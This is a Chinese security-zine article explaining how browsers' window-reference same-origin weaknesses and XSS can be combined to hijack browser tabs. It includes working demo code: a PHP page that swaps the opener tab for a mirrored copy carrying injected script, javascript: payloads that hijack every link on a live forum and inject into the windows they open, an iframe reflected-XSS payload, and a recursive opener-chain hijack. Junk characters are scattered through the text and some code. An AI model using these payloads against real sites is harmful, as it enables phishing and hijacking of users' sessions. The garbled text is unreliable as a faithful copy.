==Ph4nt0m Security Team==
0 o: T- W# X7 t$ a3 c& E
2 q) ~* I6 \7 \6 @$ J Issue 0x03, Phile #0x05 of 0x07
1 Q+ G8 g" v6 K# ^" u $ x" H5 Z1 V& @! J
- f( u: ~( I) z4 G1 G5 m3 V% g7 H|=---------------------------------------------------------------------------=|# {9 f* d: k# f% _" P; m8 p
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
0 ]+ ?1 o# Q- x9 z5 L& k9 n8 M|=---------------------------------------------------------------------------=|
; j3 e# ?& x9 M1 R; Y/ h|=---------------------------------------------------------------------------=|
0 F: q* ~8 Y2 @" n2 P8 `|=------------------------=[ By rayh4c ]=---------------------------=|7 W2 i# x% u0 ?. j r" M' l5 ~
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|: o5 I2 f7 G8 w& x% ]7 r5 w1 C7 M
|=---------------------------------------------------------------------------=|3 u; |2 J6 @3 L* z. n
7 v: W" L0 j5 X. g! F' v7 S+ O
7 _! {% h5 T5 b3 b[目录]3 ]2 u2 u* [5 B+ l
+ {4 I" A& ]* e' B1. 前言7 R! g( S0 k: k+ W
2. 同源策略简叙" W3 t6 `% n% |1 z
3. 理解window对象的同源策略6 B, {# o) \: E. m3 T6 I
4. 窗口引用功能中的同源策略漏洞
5 b' I" y: g& q0 l, e 4.1 父窗口引用子窗口的同源策略问题9 E# w, M% N# x
4.2 子窗口引用父窗口的同源策略问题$ Z p& m+ a+ f# o
5. 利用窗口引用漏洞劫持浏览器 O6 W7 {: u1 P
6. 利用XSS漏洞劫持浏览器 p) i1 g. L; S6 D; E: I- N
6.1 正向跨窗口劫持
* Q# M/ t J0 V0 b3 C8 r" b8 G 6.2 反向跨窗口劫持- N( n% i3 f; X' X. A
6.3 极度危险的跨框架窗口引用劫持- g) B" S( J9 S5 K( \* _
6.4 极度危险的正反向跨窗口递归劫持
- v* |' ?6 f7 W6 j* E( N0 |( n% j 6.5 完全控制浏览器
9 l) m* q/ V0 x9 A& D6 U7. 后记# q2 N; U' C1 X" S d3 Z. ~( B- f
8. 参考
- w6 x- R. O# \7 n2 ?/ u& j9 k, u3 H2 D* C4 q$ m! u* n
9 ]7 s/ T4 t1 t$ Q" P$ W7 h一、前言1 y3 b7 P- Q3 _, _6 x% r
+ x% M$ X% d( P& d 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
+ H6 W8 K- [) T8 \% j8 S9 u友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
! h& I6 d$ P9 M( ^5 H, M劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被7 z' n- V: i& L& ^
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
# b8 \. S4 F) D5 H1 d r% r+ r; w2 w" m" v) q- @
/ t. l9 n, B2 `二、同源策略简叙* c) F0 i/ v/ G: w1 P9 A: }6 c
9 P P. ], x5 j
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以' f: M; t$ p: F$ u0 y
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都3 i5 s- T, g' K! i- A. y, u
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木! E: C8 E+ x7 X1 p
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个' J# g* {- e- Q# ?
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。6 S4 o) p$ w$ @1 {/ D
& }9 J( n1 z3 l' A& j/ n- \- o, b1 C- P- ^
三、理解window对象的同源策略: d5 b; b0 y9 _. @; k; y( i
; q$ J$ Y: | ~" q6 L" d0 t5 G 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
0 ?5 _& J" F* E" F3 w' o象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
$ a3 M! n, h/ U7 A# B" s C: `! S1 ]- ^ W. V) v
--code-------------------------------------------------------------------------
6 Z3 S- Z. K n( j7 Y<script language="javascript">
9 |7 Z5 o8 `6 {4 S) E4 p7 f- p& l! dfor(p in window) document.write(p+"<br>");
% t: T( i4 ]6 ]</script>) X8 c9 b1 _4 e8 n9 V% T
-------------------------------------------------------------------------------
! V& D4 c" Q. p' o, {. C* j$ H3 w
% Y. c F, R/ m. z2 j# q 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
7 i, e6 r6 @* \0 Q) J' t1 x# E法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
" M; q& n6 X5 F! }这些属性和方法就必须遵循同源策略。: L, T; }2 M* M" r+ t8 S
$ }8 \2 t' F M 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
2 W& S1 v4 C' Q5 G) k* d么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须5 F) ^4 X+ U, G6 e$ u
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
7 ~! K! k& @* p1 {$ g4 k8 B9 u个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的: b1 K3 L7 n9 }/ L a; E' y. o( k7 u
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location V t2 p2 D3 `5 }+ L
属性并没有被拒绝访问。) q O7 @9 M5 N* W" |
$ h" K: x$ l6 k
--demo.html--------------------------------------------------------------------
; n8 Y# k/ A3 Y' X& \$ w<script language="javascript"> - m/ H ]4 U. E( m1 L7 h. W
function allPrpos(obj) { & x4 P- F! n e: x( a c
var props = "<table><tr><td>名称</td><td>值</td>"; 9 L7 t! @+ `5 U' c# I& |3 p
for(var p in obj){ 7 J4 n4 a p/ T3 R& \. m
if(typeof(obj[p])=="function"){
% W/ J" Q ~4 N% H5 I obj[p]();
+ @ r3 ^: T8 ? }else{ 9 r' ?, H1 D! p7 b8 E# G7 i
try
7 K# r: r' b& \* ^% _8 G$ ?) B { + F+ B' F q; p9 p. n# M2 {
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
; y" u* N L* q( ?' j |3 A }
' r- F0 b k, h; H* q! c catch (ex) " I0 m0 G7 u" x9 s
{
3 H4 D4 s& D7 x/ e' R
# P. k2 e3 B- r% R props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
" r! o& y, y3 _9 v/ ~6 H# G }
6 e$ @, }; a3 f/ m' t. D7 z + y$ }: Y* ?1 `# n% d& i. F4 ^
} + r9 C4 {$ a' e! @: V
} ; F3 q0 x! i2 p- p4 z, @
( y$ W. A- m; [* @ document.write(props+"</table>"); ; M/ z" |4 A i. i' w# O+ n3 X
} ' |3 A' n- A/ E. m
# n: r' \+ p+ h3 |8 ^function createWin() {( h N$ e7 R$ m7 x0 `/ e8 ^
newWin = window.open ("http://www.google.com"); & z+ j ?: M7 n" f4 a$ |+ F
setTimeout(function(){allPrpos(newWin)},2000); * i% _5 P6 H1 S# P! D; J
}
$ `2 I @8 t6 }1 O2 I. f# ?
" s, P8 C+ K0 w</script> 1 W6 C& t0 k/ }" V
: Q; R# D7 U- n7 E# V8 K<button onclick='createWin()'>创建一个非同源子窗口测试</button>! B% y* K+ c: G6 C/ ]* M$ B, ?
-------------------------------------------------------------------------------2 n4 K! Z+ A% I1 W# O* I
9 |1 Z6 m' \2 N; _' W1 g0 h, u
+ }. M, `- ^ ?, J7 F" A: r! {. y" W四、窗口引用功能中的同源策略漏洞( r8 B% z/ F( N0 J
9 H8 p3 C4 q$ u) C3 m, x4 W
4.1 父窗口引用子窗口的同源策略问题
/ ~) j# p1 k( i6 X( S& O
: x* C+ o& l, i1 x H+ q 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,- Y0 i( x& W% {# G7 u6 s
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道+ A' ^: [2 a; a; ?, w( O8 T
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
1 b' `$ O/ F, p2 n- R( s0 i行测试,会发现父窗口可以控制非同源子窗口location属性值。! f5 l. @7 L& U Y6 |. T; e: F
1 ] n7 }( }3 L( v--vul1.html--------------------------------------------------------------------4 T- d4 Z/ z6 ^" {" q7 W
<script language="javascript"> , a- z9 ~8 _ G) j- t
function createWin() {
7 S# C+ u) V! ~! w6 `4 U newWin = window.open ("http://www.google.com"); % Z! ?3 l8 X. x+ f; l& |
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); ) D/ v: m. V i- y r. c9 J
}
* q8 W* t: L2 i; E6 O U</script>1 L( L/ t8 ]% ~7 S
6 }0 f' Y& [0 u: J; x
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
1 l/ ^, y* }- J* c! @' F* s# t-------------------------------------------------------------------------------: N+ r- o: G/ B/ X, a _
. s0 n5 Q: i& y* M& \1 m
E5 y- d( |6 E+ x3 }0 c4.2 子窗口引用父窗口的同源策略问题
# F1 n& E# x) {! p' Q! F
, b. K! v( q! f% {# ?( Y 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
?- S* g0 U- W" L2 K8 q4 W3 `4 G! `用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们: l7 j( I( i) B+ {
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定9 R& ~ d$ r% P1 n2 l) J R1 l
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。# D* F) w% @ y% h
( F7 y3 q' K, y. D* n--code-------------------------------------------------------------------------& E. n! K& z- K0 y
; R8 ]9 F0 j& e8 | m6 O& F% ljavascript:window.opener.location = "http://www.80sec.com";void(0);( p W. O1 z/ ]# g
7 L+ a8 E5 q6 e0 f* c
-------------------------------------------------------------------------------
# J5 O6 D6 K) g! S9 w3 S5 m
' i# g' {0 T6 \& M2 f4 o* Q
* f! r: |" L3 K; X4 y五、利用窗口引用漏洞劫持浏览器
6 _% j/ E) e, D
5 u8 C9 z1 A. U$ f 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子0 y5 o" x9 w4 j. Y. W& R% {- V
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那1 `2 n4 a9 N9 j* V, H1 s
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
0 D0 u8 a, ~8 C- Y$ S# S: l5 b1 f% C( A4 f( v. ~3 s' u7 n
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
2 U8 W: k6 W+ ?/ C+ G生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或/ n" B8 y0 w& {! w3 q
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
# J% D# k, O" t# W后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
% w% v. l7 k W/ l* V会产生什么可怕的后果。7 a( \! I; \* K% X
8 g1 n& V) b) f. K9 C 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我# s% x* H! q- w/ v: c& k! p
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php" o& m' D: _8 t2 L
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时5 d+ @( f+ e+ ` G$ [1 x# \$ N9 e
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
3 A/ S$ ~$ J0 L$ Y以做更多的事情,所有的一切仅仅是因为点击了一个链接。0 G( {4 R6 G2 ^1 h+ E" N3 H/ \
M# U0 p$ h( |7 M( O% D$ u
--hjk_ref.php------------------------------------------------------------------
( G+ d: f8 M, H+ x. ~3 P<?php5 z1 W- v; \9 Z( B5 }5 n8 W H% g
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
, G R; U2 i& g7 J/ @. Y$Url_Mirror = $_SERVER["HTTP_REFERER"];! z+ ]; {( O* _
} ) X4 @1 d( f/ y7 }
if(isset ($_GET['ref'])) {
5 v0 d: F. [! h8 U* Xecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';$ z- j9 U0 U, }" o
}
/ c2 W) N O; S" l, G( p- |6 D?>
" u+ V' K' G. {0 f' P5 ]8 k3 m, `, F7 h0 I d
<script language="javascript">
, s4 @# L' l+ F' y+ _* D4 BsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); 7 d' t3 |# H. K4 C6 A3 H) f
</script>
8 h5 N, i: H% s4 Y; U-------------------------------------------------------------------------------
`2 c4 x; Y$ F0 L+ v/ A% @7 A- i# R0 j9 L6 c8 n5 x& @- G
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
& a( X- X0 Q4 l& S, M$ I$ Q2 }/ Z1 ~ X) ~( x1 V3 ^: q/ Y
' Z& Q* U% F c" t! A六、利用XSS漏洞劫持浏览器4 s; s5 w& [# Y+ ^" E% f2 ]
) O; y& Y) [# ?9 i3 n 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为$ b& x/ s( ]. O3 L( K4 b
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后4 q3 J m; G9 v$ C2 d
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
: p7 i9 X, ]# u! ]- p7 o* m' U4 X讨论跨站师的终极技巧: E" ?3 f7 V/ o* M1 M
5 A5 z' [% C; S) l1 J
. N/ A/ f1 a& P" Z3 E$ R- q# t6.1 正向跨窗口劫持
' B6 S! y$ k& |1 H/ C0 |( ]1 h" o6 i* W! S% M8 T' \! L8 O
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
6 l! Z! h1 |/ i( l主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
1 Q1 i/ @$ S& H! h4 V4 {% t4 A& G接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话6 m$ K. g* R. a" ]1 D& D
框脚本。 " ?- V/ L8 \( I+ ~: v
9 t" X j3 {( \! [; c--hijack_open.js---------------------------------------------------------------
$ q8 C. d/ W k% E! H# F. ^& V6 P
, j, q6 d* k' e8 Ljavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);" d* {4 |5 r S B- d: D
) [% e: k4 D7 E) B6 B5 n
-------------------------------------------------------------------------------+ y" E; R$ @! R, o
( T3 q b& k8 G8 ]6 v% w* U/ R3 m( i, S3 h7 b7 d
6.2 反向跨窗口劫持
; M5 b! F! h5 ?
' r( k9 K) Q( G# G, n7 X8 D: } 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
$ ?5 n$ ], M5 y! R0 U+ s, @" d4 I码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
( e( d. `; f8 `" Q框脚本。) }8 ]$ ^" z2 Z; ]
5 E7 f: s. w% s: G' b3 z( k! [7 H--hijack_opener.js-------------------------------------------------------------
! B# {/ X; ^2 t% B I4 z" J
0 F/ v" ?+ O2 z( C6 [javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
) T& N' Q; i. R# A9 D* B( J, }5 \. X) b5 ?4 F" G# ^
-------------------------------------------------------------------------------
8 n \+ ^6 }) C' b( o: L3 i) V, R1 s- X" \
2 G: ]$ A4 r ?9 L) k( I6 r
6.3 极度危险的跨框架窗口引用劫持+ D6 v0 v% ?5 X( F1 b- _+ |* {, n. n
) d: s) ?( ~) k1 x7 e
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
# `* ]2 H2 k8 ^/ n0 j& b可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就+ I5 R& O6 x4 W" l: k$ V# B
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个+ _6 i) H3 f& E5 d! M& k
非持久型的XSS,如下:
5 T5 H. R2 u1 k w$ K# R7 F, v, E+ K6 E) b/ l% U
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
0 v$ l. k+ A2 L% G" s; _: j( S+ f. s
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
0 ^1 d: e& U( B! X' v) I8 S7 A2 D注入脚本。' J9 V4 n( z, s$ N0 @4 N n
4 O" e# \9 w# ?2 I' A# Z r
--hijack_frame_opener.js-------------------------------------------------------
+ e, K+ W- q/ n<script>
; K& {( B" O0 x# a# V @9 j- Gwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";' C5 n! O" u& Z5 ~9 j
</script>; Z; l3 Q" {/ ?, T) j/ V/ x: g
------------------------------------------------------------------------------- k- H' E# `* V" Q2 t2 h- c0 i
: r" G% o' k, C$ j! @
" S- j9 e* N/ \- q6.4 极度危险的正反向跨窗口递归劫持4 W" J5 b+ _! C! ^- J4 f
& x- x! ?- f) H luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
3 c0 i8 ?- s" M+ d的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
2 b6 p# d; e7 ?* s8 p% e异常处理规避之间跨域页面的访问异常,代码如下: ^6 o! h3 `3 i4 x, \6 I8 }) Y
. _: B7 h" R9 H* a y) q--code-------------------------------------------------------------------------
* \: B' ^. l; F3 ~/ P' ]. u* |1 Q) t) ~. L; E
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
% o' H, V* p2 j* M
0 y: G0 A' ?5 R. ^4 l I-------------------------------------------------------------------------------# w4 A% x; H8 A4 [* U7 J9 W5 q
* G, O$ t: W+ m% N5 n 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
& F" P r, Q1 w3 f以劫持B域之前的A域页面,从而实现“隔空打击”。$ L/ H. |2 h& ~8 M( x" M
8 B- c/ M5 H2 S* U 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面" j: ~1 ]1 l$ B, [9 d) V
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。+ Q* u l. m0 {6 E9 E( T P$ D
" Z* E' t4 H: j$ @1 _, L
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
( P, o; Z5 e- w1 ^% Z
6 y) i* h. f& f6 ?) U8 m/ j3 ~; o: Z2 Z) X9 }
6.5 完全控制浏览器
4 H- Y3 i2 ^( Z/ ?0 T8 e1 U' ~9 G+ ` ]0 T; B8 q
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
' z! l' _+ }9 h7 N. n是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS- g; k% Z: C; l% o: n
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
# f* B: _& @+ C: F) |9 e/ ]* k n A而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再+ x2 i) C* V, [( O1 M% s% r6 ]
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
9 S4 x0 D- ~; `0 A) d师的终极目标 - 完全控制浏览器。
. ~% T4 h* b0 n& X- c% b) `- ~9 j5 _& x1 z! Q% v: z
9 S3 M4 C( h" z% ^' d( n9 J5 T
七、后记% W9 S& x; R1 [, z2 i* U
6 [0 |$ I* C5 o4 f! K4 J8 t5 q6 l 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
1 x! E. o9 I# r& \1 K- ^与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予8 I+ ?+ n! m9 Q
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。1 ~" U# X) K) K0 Y$ @# q9 `
+ d; ]! i. @4 L, `& c: q
' v c1 C6 w7 E: b! v$ \) ]八、参考
0 t! l& l$ r8 L+ ]- ?: d% |# F
1. http://en.wikipedia.org/wiki/Same_origin_policy' G8 t5 x- Q) \6 f
2. http://code.google.com/p/browser ... licy_for_DOM_access
& X `' u6 \, D8 J2 I7 j, `3. http://www.w3.org/TR/Window/$ }& n8 ]7 @4 }
4. http://www.80sec.com/release/browser-hijacking.txt
/ o9 W! `/ N7 P: H6 [( G5 i- Q5. http://www.80sec.com/all-browser-security-alert.html" a$ B* S" V4 I( Z8 I
6. http://www.80sec.com/ms08-058-attacks-google.html
; t# b8 e, v3 J$ B
, P( c1 g# i5 t% @-EOF- |